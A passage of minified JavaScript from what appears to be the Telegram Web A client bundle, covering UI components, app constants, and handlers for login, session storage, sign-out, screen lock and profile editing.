h?o.ZP.createElement("a",{tabIndex:0,className:P,href:h,download:m,"aria-label":y,title:y,target:h.startsWith(window.location.origin)||r.Cgt?"_self":"_blank",rel:"noopener noreferrer",dir:I.isRtl?"rtl":void 0,onClick:f},k):o.ZP.createElement("div",{role:"menuitem",tabIndex:0,className:P,onClick:S,onKeyDown:E,onContextMenu:v,"aria-label":y,title:y,dir:I.isRtl?"rtl":void 0},k)}},57080:(e,t,n)=>{n.d(t,{Z:()=>m});var o=n(60748),r=n(12019),s=n(25190),a=n(34446),i=n(46898),d=n(57710),c=n(18674),u=n(92112),l=n(13819);function f(){return(0,c.zG)()||(0,u.lh)()||(0,l.q)()}function h(){return h=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},h.apply(this,arguments)}const m=(0,o.X$)((function({ref:e,isPriority:t,canPlay:n,children:m,onReady:p,onBroken:g,onTimeUpdate:y,...b}){const v=(0,o.sO)(null);e||(e=v);const{handlePlaying:w}=function(e,t,n){const r=(0,o.sO)();r.current=t;const{play:a,pause:i}=function(e){const t=(0,o.sO)(!1),n=(0,o.sO)(!1);return{play:(0,s.Z)((()=>{t.current=!1,e.current&&!n.current&&document.body.contains(e.current)&&(n.current=!0,e.current.play().then((()=>{n.current=!1,t.current&&(e.current?.pause(),t.current=!1)})).catch((e=>{console.warn(e)})))})),pause:(0,s.Z)((()=>{n.current?t.current=!0:e.current?.pause()}))}}(e),h=(0,s.Z)((()=>{!r.current||!n&&f()||a()})),m=(0,s.Z)((()=>{(0,d.i$)(h)}));(0,l.Z)(i,m,!t),(0,c.ZP)(i,h,!t),(0,u.ZP)(i,h,!t);const p=(0,s.Z)((()=>{(!r.current||!n&&f())&&i()}));return(0,o.d4)((()=>{t?!n&&f()||a():i()}),[t,a,i,n]),{handlePlaying:p}}(e,n,t);(0,i.Z)(e,[]);const I=(0,o.sO)(!1),C=(0,s.Z)((()=>{I.current||(p?.(),I.current=!0)})),{isBuffered:S,bufferingHandlers:E}=(0,r.Z)(!0,y,g),{onPlaying:P,...k}=E;(0,a.Z)((([e])=>{void 0!==e&&C()}),[S,C]);const T=(0,s.Z)((e=>{w(),P(e),C(),b.onPlaying?.(e)})),M=(0,o.Ye)((()=>{const e={};return Object.keys(k).forEach((t=>{const n=t;e[n]=e=>{b[n]?.(e),k[n]?.(e)}})),e}),[k,b]);return o.ZP.createElement("video",h({ref:e,autoPlay:!0},b,M,{onPlaying:T}),m)}))},62898:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(31664);const s=({containerId:e,className:t,children:n})=>{const s=(0,o.sO)();return s.current||(s.current=document.createElement("div")),(0,o.bt)((()=>{const n=document.querySelector(e||"#portals");if(!n)return;const o=s.current;return t&&o.classList.add(t),n.appendChild(o),()=>{r.ZP.render(void 0,o),n.removeChild(o)}}),[t,e]),r.ZP.render(n,s.current)}},68512:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(60748),r=n(69118),s=n(25190);const a=(0,o.X$)((()=>{const[e,t]=(0,o.eJ)([]),n=(0,o.Ye)((()=>(0,r.Ds)((()=>{t([])}),700,!1)),[]),a=(0,s.Z)((o=>{if(0!==o.button)return;const r=o.currentTarget,s=r.getBoundingClientRect(),a=r.offsetWidth/2;t([...e,{x:o.clientX-s.x-a/2,y:o.clientY-s.y-a/2,size:a}]),n()}));return o.ZP.createElement("div",{className:"ripple-container",onMouseDown:a},e.map((({x:e,y:t,size:n})=>o.ZP.createElement("span",{style:`left: ${e}px; top: ${t}px; width: ${n}px; height: ${n}px;`}))))}))},49204:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(46752);const s=({color:e="blue",backgroundColor:t,className:n})=>o.ZP.createElement("div",{className:(0,r.Z)("Spinner",n,e,t&&"with-background",t&&`bg-${t}`)},o.ZP.createElement("div",{className:"Spinner__inner"}))},2255:(e,t,n)=>{n.d(t,{ZP:()=>C});var o=n(60748),r=n(31664),s=n(33555),a=n(57710),i=n(7054),d=n(46752),c=n(1279),u=n(82972),l=n(60782),f=n(29371),h=n(65326),m=n(18674),p=n(87204);const g="Transition_slide",y="Transition_slide-active",b="Transition_slide-from",v="Transition_slide-to",w="Transition_slide-inactive",I=new Set(["slide","slideRtl","slideFade","zoomFade","slideLayers","pushSlide","reveal","slideOptimized","slideOptimizedRtl","slideVertical","slideVerticalFade"]),C=function({ref:e,activeKey:t,nextKey:n,name:C,direction:S="auto",renderCount:E,shouldRestoreHeight:P,shouldCleanup:k,cleanupExceptionKey:T,cleanupOnlyKey:M,shouldWrap:A,wrapExceptionKey:L,id:N,className:R,slideClassName:Z,withSwipeControl:D,onStart:B,onStop:O,children:x}){const _=(0,o.sO)(),F=I.has(C)&&!(0,i.FOo)((0,s.Rd)());let j=(0,o.sO)(null);e&&(j=e);const $=(0,o.sO)({}),U=(0,p.Z)(t),V=(0,h.Z)(),H=(0,o.sO)(!1),W=(0,o.sO)(!1),K=void 0!==U&&t!==U;!E&&K&&($.current={[U]:$.current[U]}),$.current[t]=x,n&&($.current[n]=x);const G=-1===S||"auto"===S&&U>t||"inverse"===S&&U<t;(0,o.bt)((()=>{function e(){k&&($.current=void 0!==T?{[T]:$.current[T]}:void 0!==M?(0,l.CE)($.current,[M]):{},V())}const n="slideOptimized"===C||"slideOptimizedRtl"===C,o=j.current,s=Object.keys($.current).map(Number),i=E?U:s.indexOf(U),d=E?t:s.indexOf(t),h=Array.from(o.childNodes);if(!h.length)return;const p=Array.from(o.children);if(p.forEach((e=>{(0,r.D_)(e,g),Z&&(0,r.D_)(e,Z)})),!K){if(H.current)return;return void p.forEach((e=>{e===h[d]?((0,r.D_)(e,y),n&&(0,r.iL)(e,{transition:"none",transform:"translate3d(0, 0, 0)"})):n||(0,r.D_)(e,w)}))}if(_.current=t,n){if(!h[d])return;return void function(e,t,n,o,s,i,d,l,f,h,p,g,b){if(e)return(0,r.ye)(l,`Transition-${t}`,!n),(0,r.ye)(l,`Transition-${t}Backwards`,n),h instanceof HTMLElement&&((0,r.mC)(h,y),(0,r.iL)(h,{transition:"none",transform:""})),f instanceof HTMLElement&&((0,r.D_)(f,y),(0,r.iL)(f,{transition:"none",transform:"translate3d(0, 0, 0)"})),void o();"slideOptimizedRtl"===t&&(n=!n),d.current=!0;const v=(0,m.YW)();g?.(),(0,r.ye)(l,`Transition-${t}`,!n),(0,r.ye)(l,`Transition-${t}Backwards`,n),h instanceof HTMLElement&&(0,r.iL)(h,{transition:"none",transform:"translate3d(0, 0, 0)"}),f instanceof HTMLElement&&(0,r.iL)(f,{transition:"none",transform:`translate3d(${n?"-":""}100%, 0, 0)`}),(0,a.lT)((()=>(f instanceof HTMLElement&&(0,u.Z)(f),()=>{h instanceof HTMLElement&&((0,r.mC)(h,y),(0,r.iL)(h,{transition:"",transform:`translate3d(${n?"":"-"}100%, 0, 0)`})),f instanceof HTMLElement&&((0,r.D_)(f,y),(0,r.iL)(f,{transition:"",transform:"translate3d(0, 0, 0)"}))}))),(0,c.L)(f,(()=>{const e=f instanceof HTMLElement?f.clientHeight:void 0;(0,a.WM)((()=>{s===i.current&&(h instanceof HTMLElement&&(0,r.iL)(h,{transition:"none",transform:""}),p&&e&&f instanceof HTMLElement&&((0,r.iL)(f,{height:"auto"}),(0,r.iL)(l,{height:`${e}px`})),b?.(),v(),d.current=!1,o())}))}))}(F,C,G,e,t,_,H,o,h[d],h[i],P,B,O)}if("none"===C||F||W.current)return W.current&&(W.current=!1),h.forEach(((e,t)=>{e instanceof HTMLElement&&((0,r.mC)(e,b),(0,r.mC)(e,v),(0,r.ye)(e,y,t===d),(0,r.ye)(e,w,t!==d))})),void e();h.forEach(((e,t)=>{e instanceof HTMLElement&&((0,r.mC)(e,y),(0,r.ye)(e,b,t===i),(0,r.ye)(e,v,t===d),(0,r.ye)(e,w,t!==i&&t!==d))})),H.current=!0;const I=(0,m.YW)();function S(){const n=o.querySelector(`.${y}`),{clientHeight:s}=n||{};(0,a.WM)((()=>{t===_.current&&((0,r.mC)(o,`Transition-${C}`),(0,r.mC)(o,`Transition-${C}Backwards`),h.forEach(((e,t)=>{e instanceof HTMLElement&&((0,r.mC)(e,b),(0,r.mC)(e,v),(0,r.ye)(e,y,t===d),(0,r.ye)(e,w,t!==d))})),P&&n&&((0,r.iL)(n,{height:"auto"}),(0,r.iL)(o,{height:`${s}px`})),O?.(),I(),H.current=!1,e())}))}B?.(),(0,r.ye)(o,`Transition-${C}`,!G),(0,r.ye)(o,`Transition-${C}Backwards`,G);const A="reveal"!==C&&"slideFadeAndroid"!==C||!G?h[d]:h[i];if(A)if(D&&h[i]){const e=(0,c.f)(A,S);(0,f.a)(h[i],h[d],(()=>{e(),W.current=!0,O?.(),I(),H.current=!1}))}else(0,c.f)(A,S,void 0,1e3);else S()}),[t,n,U,K,G,C,B,O,E,P,k,Z,T,F,V,D,M]),(0,o.d4)((()=>{if(!P)return;const e=j.current,t=e.querySelector(`.${y}`)||e.querySelector(`.${b}`);if(!t)return;const{clientHeight:n}=t||{};n&&(0,a.WM)((()=>{(0,r.iL)(t,{height:"auto"}),(0,r.iL)(e,{height:`${n}px`,flexBasis:`${n}px`})}))}),[P,x]);const z=!E,q=$.current,Y=Object.keys(E?new Array(E).fill(void 0):q).map(Number).map((e=>{const n=q[e];if(!n)return;const r="function"==typeof n?n(e===t,e===U,e,t):n;return A&&e!==L||z?o.ZP.createElement("div",{key:e,teactOrderKey:e},r):r}));return o.ZP.createElement("div",{ref:j,id:N,className:(0,d.Z)("Transition",R),teactFastList:z},Y)}},83716:(e,t,n)=>{n.d(t,{$OQ:()=>ln,$RH:()=>Qe,A1D:()=>mn,ARG:()=>Se,BRs:()=>Tt,Bge:()=>fn,BtI:()=>se,C1M:()=>ue,CXA:()=>we,Cgt:()=>l,Cic:()=>Ne,CyD:()=>Z,D$f:()=>jt,DC_:()=>dt,DUi:()=>an,EGK:()=>dn,ENB:()=>X,Edp:()=>Re,F9Q:()=>ie,F9z:()=>Xt,FDD:()=>Jt,FM6:()=>$t,FSu:()=>Ht,FVh:()=>tn,Hkl:()=>ee,I0B:()=>bn,Itv:()=>wn,J0S:()=>pe,K2q:()=>ht,K7x:()=>et,L5X:()=>It,LBg:()=>Yt,LlA:()=>qt,MW8:()=>At,Mwe:()=>it,NUd:()=>U,NfV:()=>rn,NjN:()=>at,NuY:()=>u,Ob7:()=>Ee,OfM:()=>d,Ov0:()=>J,OxA:()=>yn,P1i:()=>Gt,PMB:()=>bt,PT8:()=>Ke,PZg:()=>nn,QU1:()=>_e,Qao:()=>rt,QxZ:()=>he,R2F:()=>Ae,RBO:()=>G,Rk9:()=>N,Ro:()=>Tn,SC4:()=>le,SGw:()=>B,SR3:()=>o,SaG:()=>w,Sbj:()=>pn,Tih:()=>I,Tjg:()=>f,UhJ:()=>M,V$q:()=>Je,V61:()=>s,VC4:()=>Ft,VEm:()=>Ze,Vk:()=>ne,Vvx:()=>Cn,Vxl:()=>P,WSp:()=>sn,WfZ:()=>zt,Wpe:()=>g,XM3:()=>te,Y7U:()=>ut,YBT:()=>ge,YQ0:()=>K,Yan:()=>Zt,ZTn:()=>p,Zkg:()=>Mt,_NT:()=>gn,_mX:()=>je,_nY:()=>c,aCB:()=>Mn,aqU:()=>Ct,avG:()=>$,awM:()=>en,b6b:()=>Ce,bKs:()=>qe,bMi:()=>pt,b_O:()=>E,be_:()=>xe,bl0:()=>i,byK:()=>F,cG4:()=>ce,cPw:()=>St,ckE:()=>Ye,dII:()=>_t,dWG:()=>kt,dse:()=>Me,e74:()=>xt,eAU:()=>S,eFF:()=>ae,eMD:()=>m,eXY:()=>st,eev:()=>_,fK3:()=>ze,foQ:()=>x,fw0:()=>De,g$l:()=>Vt,gJR:()=>L,ga_:()=>In,gnl:()=>Oe,hT6:()=>W,i2v:()=>v,iCi:()=>r,j7i:()=>R,jL5:()=>Wt,jT7:()=>Fe,jVS:()=>vt,kUR:()=>Rt,ka7:()=>Pt,kj5:()=>y,ksF:()=>$e,kuM:()=>gt,l35:()=>Ve,lF$:()=>O,lHp:()=>ft,lOz:()=>A,lWA:()=>D,loe:()=>H,mUA:()=>hn,moH:()=>mt,mok:()=>oe,mwi:()=>me,mzL:()=>be,mzl:()=>Ge,mzt:()=>Qt,nBr:()=>En,nYf:()=>Le,o69:()=>Pn,oBh:()=>ye,oDu:()=>q,oGt:()=>Bt,oX1:()=>k,o_S:()=>ke,ouc:()=>C,p3h:()=>vn,pJM:()=>kn,pRL:()=>Nt,pnA:()=>Q,prK:()=>An,qUX:()=>re,qpg:()=>ot,rOO:()=>We,rSj:()=>z,r_R:()=>Pe,s11:()=>Dt,s22:()=>Be,s38:()=>Et,sRA:()=>un,sTu:()=>Sn,sXs:()=>de,sdb:()=>T,sgm:()=>Ue,sux:()=>Te,t4X:()=>cn,t8f:()=>Lt,t_F:()=>Y,tuy:()=>j,uWu:()=>Ut,u_N:()=>He,uaz:()=>ct,ulW:()=>b,ulj:()=>fe,v5x:()=>h,w7O:()=>tt,wGh:()=>Ot,xHY:()=>a,xS7:()=>Ie,xnK:()=>Xe,y3O:()=>wt,yK2:()=>lt,yce:()=>on,z7m:()=>nt,zHP:()=>Kt,zqK:()=>yt,zy8:()=>ve});const o="A",r=`Telegram Web ${o}`,s=1710063202523,a="web.telegram.org",i="https://web.telegram.org/a",d="https://web.telegram.org/",c="https://web.telegram.org/a/",u=!1,l=!1,f=!1,h=!1,m=!1,p=!1,g="tt-log.json",y=m,b="https://telegra.ph/WebA-Beta-03-20",v="https://telegram-a-host",w="Shoot!\nSomething went wrong, please see the error details in Dev Tools Console.",I="Telegram",C="[Inactive]",S=!1,E="user_auth",P="GramJs:sessionId",k="tt-passcode",T=!1,M="tt-global-state",A=500,L=200,N=30,R=150,Z=!1,D="tt-media",B="tt-media-avatars",O="tt-media-progressive",x="tt-custom-bg",_="tt-lang-packs-v28",F=[1,5,10,50,100,500],j="tt-global",$="tt-establish",U="tt-multitab",V="undefined"!=typeof window&&window.innerHeight>=900,H=1,W=V?60:40,K=2*W,G=36,z=72,q=65,Y=V?30:25,J=100,X=42,Q=42,ee=20,te=5,ne=30,oe=200,re=500,se=600,ae=50,ie=15,de=10,ce=20,ue=20,le=500,fe=20,he=1,me=1,pe=1200,ge=-1,ye=0,be=1,ve=2,we=ve,Ie=16,Ce=17,Se=15,Ee=3,Pe=1e4,ke=3e3,Te=1e7,Me=36e5,Ae="editable-message-text",Le="editable-message-text-modal",Ne="editable-story-input-text",Re=`.messages-layout .Transition_slide-active #${Ae}, .messages-layout .Transition > .Transition_slide-to #${Ae}`,Ze=`#${Le}`,De=`#${Ne}`,Be="data-has-custom-appendix",Oe="message-content",xe=".message-content",_e=1440,Fe=1150,je=1275,$e=925,Ue=1340,Ve=600,He=950,We=450,Ke=2**31-1,Ge="0",ze=100,qe=300,Ye=600,Je=750,Xe=300,Qe=(Math.round((qe+Ye)/2),new Set(["newMessage","newScheduledMessage","deleteMessages","deleteScheduledMessages","deleteHistory"]),200),et=13,tt=11,nt=160,ot=120,rt=72,st=36,at=32,it=48,dt=32,ct=20,ut=72,lt=72,ft=36,ht=160,mt=160,pt=140,gt=100,yt=100,bt=140,vt=140,wt=2,It=7,Ct="top",St="popular",Et="recent",Pt="favorite",kt="chatStickers",Tt="premium",Mt="topic-default-icon",At="status-default-icon",Lt=/<img[^>]+alt="([^"]+)"(?![^>]*data-document-id)[^>]*>/gm,Nt="en",Rt=200,Zt=450,Dt="image/gif",Bt=new Set(["image/png","image/jpeg",Dt]),Ot=new Set(["video/mp4","video/quicktime"]),xt=new Set(["audio/mp3","audio/ogg","audio/wav","audio/mpeg","audio/flac","audio/aac","audio/m4a","audio/mp4","audio/x-m4a"]),_t=new Set([...Bt,...Ot]),Ft="The message is not supported on this version of Telegram.",jt=["en","ar","be","ca","zh","nl","fr","de","id","it","ja","ko","pl","pt","ru","es","uk","af","sq","am","hy","az","eu","bn","bs","bg","ceb","zh-CN","zh-TW","co","hr","cs","da","eo","et","fi","fy","gl","ka","el","gu","ht","ha","haw","he","iw","hi","hmn","hu","is","ig","ga","jv","kn","kk","km","rw","ku","ky","lo","la","lv","lt","lb","mk","mg","ms","ml","mt","mi","mr","mn","my","ne","no","ny","or","ps","fa","pa","ro","sm","gd","sr","st","sn","sd","si","sk","sl","so","su","sw","sv","tl","tg","ta","tt","te","th","tr","tk","ur","ug","uz","vi","cy","xh","yi","yo","zu"],$t="((ftp|https?):\\/\\/)?((www\\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\\.[a-zA-Z][-a-zA-Z0-9]{1,62})\\b([-a-zA-Z0-9()@:%_+.,~#?&/=]*)",Ut="(@[\\w\\d_-]+)",Vt=/^tg:(\/\/)?/i,Ht=/^(https?:\/\/)?([-a-zA-Z0-9@:%_+~#=]{1,32}\.)?t\.me/i,Wt=/^(https?:\/\/)?telegram\.org\//i,Kt="https://t.me/",Gt="botfather",zt="USERNAME_PURCHASE_AVAILABLE",qt="auction",Yt=new Set(["t.me","web.t.me","a.t.me","k.t.me","z.t.me"]),Jt=new Set(["AU","BD","CA","CO","EG","HN","IE","IN","JO","MX","MY","NI","NZ","PH","PK","SA","SV","US"]),Xt=["bots","channels","chats","users"],Qt={emoticon:"❤"},en="777000",tn="1271266957",nn="7173162320003080",on=14,rn=0,sn=1,an=10,dn=5,cn=2147483646,un="en",ln="android",fn=["android","ios","tdesktop","macos"],hn="https://bugs.telegram.org/?tag_ids=41&sort=time",mn="https://telegram.org/faq",pn="https://telegram.org/privacy",gn="https://telegram.org/tos/mini-apps",yn=1,bn=86400,vn="#99BA92",wn="#0F0F0F",In="#4A8E3A8C",Cn="#0A0A0A8C",Sn="1a",En="2b",Pn=5,kn=524288,Tn=100,Mn=100*Tn,An={uploadMaxFileparts:[4e3,8e3],stickersFaved:[5,10],savedGifs:[200,400],dialogFiltersChats:[100,200],dialogFilters:[10,20],dialogFolderPinned:[5,10],captionLength:[1024,2048],channels:[500,1e3],channelsPublic:[10,20],aboutLength:[70,140],chatlistInvites:[3,100],chatlistJoined:[2,20],recommendedChannels:[10,100]}},28304:(e,t,n)=>{var o=n(83716),r=n(65054),s=n(91947),a=n(60782),i=n(59692),d=n(15780),c=n(82267),u=n(706),l=n(4463),f=n(33555),h=n(41020),m=n(44271),p=n(7054);function g(e,t,n){const{connectionState:o}=n;e=(0,f.Rd)();const s=(0,p.jUK)(e,(0,r._w)());if("connectionStateReady"===o&&s.isMasterTab&&s.multitabNextAction&&(t[s.multitabNextAction.action](s.multitabNextAction.payload),t.clearMultitabNextAction({tabId:s.id})),o!==e.connectionState){if(e={...e,connectionState:o},(0,f.R3)(e),e.isSynced){const n=Object.values(e.byTabId).flatMap((e=>e.messageLists)).map((e=>e.chatId)).filter((t=>{const n=e.chats.byId[t];return n&&((0,l.eA)(n)||(0,l.ZV)(n))}));"connectionStateReady"===o&&n.length&&(0,a.Tw)(n).forEach((e=>{t.requestChannelDifference({chatId:e})}))}"connectionStateBroken"===o&&t.signOut({forceInitApi:!0})}}(0,f.iw)("apiUpdate",((e,t,n)=>{switch(n["@type"]){case"updateApiReady":!function(e){(0,i.m0)(e.settings.byKey.language)}(e);break;case"updateAuthorizationState":!function(e,t){const n="authorizationStateReady"===(e=(0,f.Rd)()).authState,o=t.authorizationState;switch(e={...e,authState:o,authIsLoading:!1},(0,f.R3)(e),e=(0,f.Rd)(),o){case"authorizationStateLoggingOut":(0,u.IT)(!1),e={...e,isLoggingOut:!0},(0,f.R3)(e);break;case"authorizationStateWaitCode":e={...e,authIsCodeViaApp:t.isCodeViaApp},(0,f.R3)(e);break;case"authorizationStateWaitPassword":e={...e,authHint:t.hint},t.noReset&&(e={...e,hasWebAuthTokenPasswordRequired:!0}),(0,f.R3)(e);break;case"authorizationStateWaitQrCode":e={...e,authIsLoadingQrCode:!1,authQrCode:t.qrCode},(0,f.R3)(e);break;case"authorizationStateReady":if(n)break;(0,u.IT)(!0),e={...e,isLoggingOut:!1},Object.values(e.byTabId).forEach((({id:t})=>{e=(0,m.i)(e,{isInactive:!1},t)})),(0,f.R3)(e)}}(e,n);break;case"updateAuthorizationError":!function(e,t){e=(0,f.Rd)(),e={...e,authError:t.message},(0,f.R3)(e)}(e,n);break;case"updateWebAuthTokenFailed":!function(e){(0,d.Yw)(),e=(0,f.Rd)(),e={...e,hasWebAuthTokenFailed:!0},(0,f.R3)(e)}(e);break;case"updateConnectionState":g(e,t,n);break;case"updateSession":!function(e,t,n){const{sessionData:o}=n;e=(0,f.Rd)();const{authRememberMe:r,authState:s}=e,a=!o||!o.mainDcId;r&&"authorizationStateReady"===s&&!a&&t.saveSession({sessionData:o})}(e,t,n);break;case"updateServerTimeOffset":!function(e){(0,c.Y$)(e.serverTimeOffset)}(n);break;case"updateCurrentUser":!function(e,t){const{currentUser:n,currentUserFullInfo:r}=t;e={...(0,h.Nq)(e,n.id,n),currentUserId:n.id},e=(0,h.ap)(e,n.id,r),(0,f.R3)(e),function(e){const t=localStorage.getItem(o.b_O);if(!t)return;const n=JSON.parse(t);n.id=e,localStorage.setItem(o.b_O,JSON.stringify(n))}(n.id)}(e,n);break;case"requestReconnectApi":e={...e,isSynced:!1},(0,f.R3)(e),g(e,t,{"@type":"updateConnectionState",connectionState:"connectionStateConnecting"}),t.initApi();break;case"requestSync":t.sync();break;case"updateFetchingDifference":e={...e,isFetchingDifference:n.isFetching},(0,f.R3)(e);break;case"error":Object.values(e.byTabId).forEach((({id:e})=>{const o=(0,s.J_)(n.error);o?t.addPaymentError({error:o,tabId:e}):(0,s.pF)(n.error)?t.closePaymentModal({tabId:e}):t.showDialog&&t.showDialog({data:n.error,tabId:e})}))}}))},65456:(e,t,n)=>{var o=n(91713),r=n(83716),s=n(17358),a=n(49524),i=n(65054),d=n(60782),c=n(28406),u=n(95281),l=n(15780),f=n(50214),h=n(706),m=n(97184),p=n(92387),g=n(5872),y=n(33555),b=n(41020);(0,y.iw)("initApi",(async(e,t)=>{r.Cgt||(await(0,f.Qw)(),(0,f.f3)());const n=(0,l.dx)();(0,p.g8)(t.apiUpdate,{userAgent:navigator.userAgent,platform:m.Lt,sessionData:(0,f.K8)(),isTest:window.location.search.includes("test")||"1"===n?.tgWebAuthTest,isWebmSupported:m.Hh,maxBufferSize:m.l0,webAuthToken:n?.tgWebAuthToken,dcId:n?.tgWebAuthDcId?Number(n?.tgWebAuthDcId):void 0,mockScenario:n?.mockScenario,shouldAllowHttpTransport:e.settings.byKey.shouldAllowHttpTransport,shouldForceHttpTransport:e.settings.byKey.shouldForceHttpTransport,shouldDebugExportedSenders:e.settings.byKey.shouldDebugExportedSenders}),(0,p.Cp)(Boolean(e.settings.byKey.shouldCollectDebugLogs))})),(0,y.iw)("setAuthPhoneNumber",((e,t,n)=>{const{phoneNumber:o}=n;return(0,p.t9)("provideAuthPhoneNumber",o.replace(/[^\d]/g,"")),{...e,authIsLoading:!0,authError:void 0}})),(0,y.iw)("setAuthCode",((e,t,n)=>{const{code:o}=n;return(0,p.t9)("provideAuthCode",o),{...e,authIsLoading:!0,authError:void 0}})),(0,y.iw)("setAuthPassword",((e,t,n)=>{const{password:o}=n;return(0,p.t9)("provideAuthPassword",o),{...e,authIsLoading:!0,authError:void 0}})),(0,y.iw)("uploadProfilePhoto",(async(e,t,n)=>{const{file:r,isFallback:s,isVideo:a,videoTs:c,bot:u,tabId:l=(0,i._w)()}=n;e=(0,b.H9)(e,o.wv.InProgress,l),(0,y.R3)(e);const f=await(0,p.t9)("uploadProfilePhoto",r,s,a,c,u);f&&(e=(0,y.Rd)(),e=(0,b.Sh)(e,(0,d.ee)(f.users,"id")),e=(0,b.H9)(e,o.wv.Complete,l),(0,y.R3)(e),t.loadFullUser({userId:e.currentUserId}))})),(0,y.iw)("signUp",((e,t,n)=>{const{firstName:o,lastName:r}=n;return(0,p.t9)("provideAuthRegistration",{firstName:o,lastName:r}),{...e,authIsLoading:!0,authError:void 0}})),(0,y.iw)("returnToAuthPhoneNumber",(e=>((0,p.t9)("restartAuth"),{...e,authError:void 0}))),(0,y.iw)("goToAuthQrCode",(e=>((0,p.t9)("restartAuthWithQr"),{...e,authIsLoadingQrCode:!0,authError:void 0}))),(0,y.iw)("saveSession",((e,t,n)=>{if(e.passcode.isScreenLocked)return;const{sessionData:o}=n;o?(0,f.wX)(o,e.currentUserId):(0,f.jv)()})),(0,y.iw)("signOut",(async(e,t,n)=>{"hangUp"in t&&t.hangUp({tabId:(0,i._w)()}),"leaveGroupCall"in t&&t.leaveGroupCall({tabId:(0,i._w)()});try{(0,l.DQ)(),await(0,c.r1)(),await(0,p.t9)("destroy"),await(0,h.IT)(!1)}catch(e){}t.reset(),n?.forceInitApi&&t.initApi()})),(0,y.iw)("requestChannelDifference",((e,t,n)=>{const{chatId:o}=n;(0,p.t9)("requestChannelDifference",o)})),(0,y.iw)("reset",((e,t)=>{(0,f.jv)(),(0,u.C8)(),a.clear(r.lWA),a.clear(r.SGw),a.clear(r.lF$),a.clear(r.foQ);const n=r.eev.replace(/\d+$/,""),o=Number((r.eev.match(/\d+$/)||["0"])[0]);for(let e=0;e<o;e++)a.clear(`${n}${0===e?"":e}`);(0,f.f3)(),(0,s.w)(0),t.initShared({force:!0}),Object.values(e.byTabId).forEach((({id:e,isMasterTab:n})=>{t.init({tabId:e,isMasterTab:n})}))})),(0,y.iw)("disconnect",(()=>{(0,p.$9)("disconnect")})),(0,y.iw)("destroyConnection",(()=>{(0,p.$9)("destroy",!0,!0)})),(0,y.iw)("loadNearestCountry",(async e=>{if("connectionStateReady"!==e.connectionState)return;const t=await(0,p.t9)("fetchNearestCountry");e=(0,y.Rd)(),e={...e,authNearestCountry:t},(0,y.R3)(e)})),(0,y.iw)("setDeviceToken",((e,t,n)=>({...e,push:{deviceToken:n,subscribedAt:Date.now()}}))),(0,y.iw)("deleteDeviceToken",(e=>({...e,push:void 0}))),(0,y.iw)("lockScreen",(async e=>{const t=JSON.stringify({...(0,f.K8)(),userId:e.currentUserId}),n=await(0,g.Uf)(e);await(0,u.H4)(t,n),(0,u.J9)(),(0,f.jv)(),(0,s.w)(0),e=(0,y.Rd)(),e=(0,b.vu)(e,{isScreenLocked:!0,invalidAttemptsCount:0,timeoutUntil:void 0}),(0,y.R3)(e),setTimeout((()=>{e=(0,y.Rd)(),e=(0,b.ZI)(e),(0,y.R3)(e)}),r.$RH);try{await(0,c.r1)(),await(0,p.t9)("destroy",!0)}catch(e){}}))},51371:(e,t,n)=>{var o=n(91713),r=n(83716),s=n(65054),a=n(60782),i=n(59692),d=n(28406),c=n(97690),u=n(82267),l=n(92387),f=n(4463),h=n(33555),m=n(41020),p=n(44271),g=n(7054);(0,h.iw)("updateProfile",(async(e,t,n)=>{const{photo:r,firstName:i,lastName:d,bio:c,username:u,tabId:f=(0,s._w)()}=n,{currentUserId:y}=e;if(y){if(e=(0,p.i)(e,{profileEdit:{progress:o.rN.InProgress}},f),(0,h.R3)(e),r){const t=await(0,l.t9)("uploadProfilePhoto",r);t&&(e=(0,h.Rd)(),e=(0,m.Sh)(e,(0,a.ee)(t.users,"id")),(0,h.R3)(e))}if((i||d||c)&&await(0,l.t9)("updateProfile",{firstName:i,lastName:d,about:c})){e=(0,h.Rd)();const t=y&&(0,g.dyD)(e,y);t&&(e=(0,m.Nq)(e,t.id,{firstName:i,lastName:d}),e=(0,m.ap)(e,t.id,{bio:c}),(0,h.R3)(e))}if(void 0!==u){const t=await(0,l.t9)("updateUsername",u);e=(0,h.Rd)();const n=y&&(0,g.dyD)(e,y);if(t&&n){const t=n.usernames?.find((e=>e.isEditable)),o=t?n.usernames?.map((e=>e.isEditable?{...e,username:u}:e)):[{username:u,isEditable:!0,isActive:!0},...n.usernames||[]];e=(0,m.Nq)(e,y,{usernames:o}),(0,h.R3)(e)}}e=(0,h.Rd)(),e=(0,p.i)(e,{profileEdit:{progress:o.rN.Complete}},f),(0,h.R3)(e),r&&t.loadFullUser({userId:y,withPhotos:!0})}})),(0,h.iw)("updateProfilePhoto",(async(e,t,n)=>{const{photo:o,isFallback:r}=n,{currentUserId:s}=e;if(!s)return;if(!(0,g.dyD)(e,s))return;e=(0,m.Nq)(e,s,{avatarHash:void 0}),e=(0,m.ap)(e,s,{profilePhoto:void 0}),(0,h.R3)(e);const i=await(0,l.t9)("updateProfilePhoto",o,r);if(!i)return;const{users:d}=i;e=(0,h.Rd)(),e=(0,m.Sh)(e,(0,a.ee)(d,"id")),(0,h.R3)(e),t.loadFullUser({userId:s,withPhotos:!0})})),(0,h.iw)("deleteProfilePhoto",(async(e,t,n)=>{const{photo:o}=n,{currentUserId:r}=e;if(!r)return;const s=(0,g.dyD)(e,r);if(!s)return;const a=(0,g.ccz)(e,r);s.avatarHash!==o.id&&a?.profilePhoto?.id!==o.id||(e=(0,m.Nq)(e,r,{avatarHash:void 0}),e=(0,m.ap)(e,r,{profilePhoto:void 0})),a?.fallbackPhoto?.id===o.id&&(e=(0,m.ap)(e,r,{fallbackPhoto:void 0})),a?.personalPhoto?.id===o.id&&(e=(0,m.ap)(e,r,{personalPhoto:void 0}));const{photos:i=[]}=s,d=i.filter((e=>e.id!==o.id));e=(0,m.Nq)(e,r,{photos:d}),(0,h.R3)(e),await(0,l.t9)("deleteProfilePhotos",[o]),t.loadFullUser({userId:r,withPhotos:!0})})),(0,h.iw)("checkUsername",(async(e,t,n)=>{const{username:r,tabId:a=(0,s._w)()}=n;let 